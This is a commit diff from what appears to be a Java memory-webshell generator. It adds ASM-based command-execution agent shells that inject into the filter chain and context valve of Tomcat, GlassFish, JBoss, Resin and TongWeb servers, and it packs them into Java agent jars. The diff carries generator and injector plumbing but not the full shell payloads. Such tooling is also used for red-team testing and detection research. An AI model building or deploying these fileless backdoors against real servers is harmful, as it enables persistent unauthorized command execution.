feat: support command agent with asm on filterChain and contextValve (#51)

generator/build.gradle

@@ -24,6 +24,7 @@ dependencies {
     implementation project(":memshell")
     implementation project(":memshell-java8")
     implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
 
     implementation 'javax.servlet:javax.servlet-api'
     implementation 'javax.websocket:javax.websocket-api'

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -7,6 +7,8 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;
 
+import java.util.Map;
+
 /**
  * @author ReaJason
  * @since 2024/11/24
@@ -48,7 +50,9 @@ public class MemShellGenerator {
         injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
         injectorConfig.setShellClassBytes(shellBytes);
 
-        byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
+        InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
+        byte[] injectorBytes = injectorGenerator.generate();
+        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
 
         return GenerateResult.builder()
                 .shellConfig(shellConfig)
@@ -58,6 +62,7 @@ public class MemShellGenerator {
                 .shellBytes(shellBytes)
                 .injectorClassName(injectorConfig.getInjectorClassName())
                 .injectorBytes(injectorBytes)
+                .injectorInnerClassBytes(innerClassBytes)
                 .build();
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

@@ -227,7 +227,9 @@ public enum Server {
                 .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
                 .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
                 .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
                 .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
                 .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
                 .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
                 .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -21,7 +21,9 @@ public class ShellType {
     public static final String AGENT = "Agent";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
+    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
+    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
     public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";

generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java

@@ -6,6 +6,8 @@ import lombok.Data;
 import lombok.NoArgsConstructor;
 import org.apache.commons.codec.binary.Base64;
 
+import java.util.Map;
+
 /**
  * @author ReaJason
  * @since 2024/11/24
@@ -21,6 +23,7 @@ public class GenerateResult {
     private String shellBytesBase64Str;
     private String injectorClassName;
     private transient byte[] injectorBytes;
+    private transient Map<String, byte[]> injectorInnerClassBytes;
     private long injectorSize;
     private String injectorBytesBase64Str;
     private ShellConfig shellConfig;
@@ -38,7 +41,7 @@ public class GenerateResult {
                 injectorSize = injectorBytes.length;
             }
             return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
-                    injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
+                    injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -1,20 +1,22 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.asm.InnerClassDiscovery;
+import com.reajason.javaweb.buddy.*;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.ClassFileLocator;
 import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.dynamic.scaffold.TypeValidation;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.pool.TypePool;
 import org.apache.commons.codec.binary.Base64;
 
-import java.util.Objects;
+import java.util.*;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -34,10 +36,13 @@ public class InjectorGenerator {
     @SneakyThrows
     public DynamicType.Builder<?> getBuilder() {
         String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
         DynamicType.Builder<?> builder = new ByteBuddy()
                 .redefine(injectorConfig.getInjectorClass())
-                .name(injectorConfig.getInjectorClassName())
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
                 .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -56,6 +61,38 @@ public class InjectorGenerator {
         return builder;
     }
 
+    @SneakyThrows
+    public Map<String, byte[]> getInnerClassBytes() {
+        Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
+        if (innerClassNames.isEmpty()) {
+            return Collections.emptyMap();
+        }
+
+        String originalClassName = injectorConfig.getInjectorClass().getName();
+        String newClassName = injectorConfig.getInjectorClassName();
+
+        ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
+        TypePool typePool = TypePool.Default.of(classFileLocator);
+
+        Map<String, byte[]> bytes = new HashMap<>();
+        for (String innerClassName : innerClassNames) {
+            TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
+            String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
+            DynamicType.Builder<?> innerBuilder = new ByteBuddy()
+                    .with(TypeValidation.DISABLED)
+                    .redefine(innerTypeDesc, classFileLocator)
+                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
+                    .visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
+
+            try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
+                for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
+                    bytes.put(newInnerClassName, entry.getValue());
+                }
+            }
+        }
+        return bytes;
+    }
+
     @SneakyThrows
     public byte[] generate() {
         DynamicType.Builder<?> builder = getBuilder();

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import org.apache.commons.io.IOUtils;
+import org.objectweb.asm.Opcodes;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -13,6 +14,7 @@ import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Path;
 import java.util.Enumeration;
+import java.util.Map;
 import java.util.jar.JarEntry;
 import java.util.jar.JarFile;
 import java.util.jar.JarOutputStream;
@@ -40,7 +42,11 @@ public class AgentJarPacker implements JarPacker {
         manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
         try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
-            addDependency(targetJar, ByteBuddy.class);
+            if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
+                addDependency(targetJar, Opcodes.class);
+            } else {
+                addDependency(targetJar, ByteBuddy.class);
+            }
 
             targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
             targetJar.write(generateResult.getInjectorBytes());
@@ -49,6 +55,12 @@ public class AgentJarPacker implements JarPacker {
             targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
             targetJar.write(generateResult.getShellBytes());
             targetJar.closeEntry();
+
+            for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
+                targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
+                targetJar.write(entry.getValue());
+                targetJar.closeEntry();
+            }
         }
         return byteArrayOutputStream.toByteArray();
     }

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -49,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -29,7 +31,9 @@ public class InforSuiteShell extends AbstractShell {
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
 import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
 
@@ -26,7 +28,9 @@ public class JbossShell extends AbstractShell {
                 .addInjector(LISTENER, JbossListenerInjector.class)
                 .addInjector(VALVE, JbossValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

@@ -1,9 +1,6 @@
 package com.reajason.javaweb.memshell.server;
 
-import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
-import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
+import com.reajason.javaweb.memshell.injector.resin.*;
 import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -35,6 +32,7 @@ public class ResinShell extends AbstractShell {
                 .addInjector(FILTER, ResinFilterInjector.class)
                 .addInjector(LISTENER, ResinListenerInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

@@ -42,7 +42,9 @@ public class TomcatShell extends AbstractShell {
                 .addInjector(VALVE, TomcatValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
                 .build();
     }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java

@@ -25,7 +25,9 @@ public class TongWeb6Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java

@@ -25,7 +25,9 @@ public class TongWeb7Shell extends AbstractShell {
                 .addInjector(VALVE, TongWebValveInjector.class)
                 .addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
+                .addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
+                .addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
                 .build();
     }
 }

generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java

@@ -0,0 +1,32 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/27
+ */
+class InjectorGeneratorTest {
+
+    @Test
+    void testAsm() {
+        InjectorConfig injectorConfig = InjectorConfig.builder()
+                .shellClassBytes("hello".getBytes())
+                .shellClassName("hello")
+                .injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
+                .build();
+        InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
+//        injectorGenerator.generate();
+        Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
+        assertEquals(2, innerClassBytes.size());
+        innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
+    }
+}